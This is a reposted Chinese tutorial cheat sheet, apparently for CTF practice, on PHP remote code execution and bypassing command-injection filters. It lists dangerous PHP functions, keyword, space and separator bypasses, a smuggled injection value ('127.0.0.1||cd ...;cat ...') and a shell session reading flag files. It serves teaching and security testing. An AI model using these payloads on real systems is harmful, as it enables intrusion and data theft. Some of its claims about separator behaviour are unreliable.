本文转载:https://xiaochuhe.blog.csdn.net/article/details/122614693
一、RCE漏洞概述
RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
产生的原因:服务器没有对执行命令的函数做严格的过滤,最终导致命令被执行。
二、命令执行函数
1.PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
- PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
三、绕过过滤的方法
(一)过滤关键字,如过滤 cat,flag等关键字
- 代替法
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容 - 使用转义符号
ca\t /fl\ag
cat fl''ag
3.拼接法
a=fl;b=ag;cat$IFS$a$b
- 使用空变量$*和$@,$x,${x}绕过
- 反引号绕过
6.编码绕过-Base64
7.正则表达式绕过 - 利用未初始化变量$u让绕过
(二)过滤命令执行函数,如过滤system()
1.url编码绕过
2.内敛执行绕过
(三)过滤一些文件读取的命令
1.绕过方法
[root@kali flag123]# curl file:///flag123/flag
flag{suifeng}
[root@kali flag123]# strings flag
flag{suifeng}
[root@kali flag123]# uniq -c flag
1 flag{suifeng}
[root@kali flag123]# bash -v flag
flag{suifeng}
flag: line 1: flag{suifeng}: command not found
[root@kali flag123]# rev flag
}gnefius{galf
[root@kali flag123]#
2.find -- 列出当前目录下的文件以及子目录所有文件
(四)过滤空格
• %09(url传递)(cat%09flag.php)
• ${IFS}
• $IFS$9
• <>(cat<>/flag)
• <(cat</flag)
• {cat,flag}
(五)过滤目录分割符
1.采用多管道命令绕过
127.0.0.1||cd flag_is_here;cat flag_262431433226364.php
(六)过滤分割符——| & ;
; //两条命令都执行,windows不支持
| //只执行后面那条命令
|| //只执行前面那条命令
& //先执行command2后执行command1
&& //先执行command1后执行command2
%0a //换行符
%0d //回车符号
用?>代替;
在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。
(七)过滤括号-使用不需要括号的函数进行绕过
• echo
echo cat flag
(八)输入字符串长度限制
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行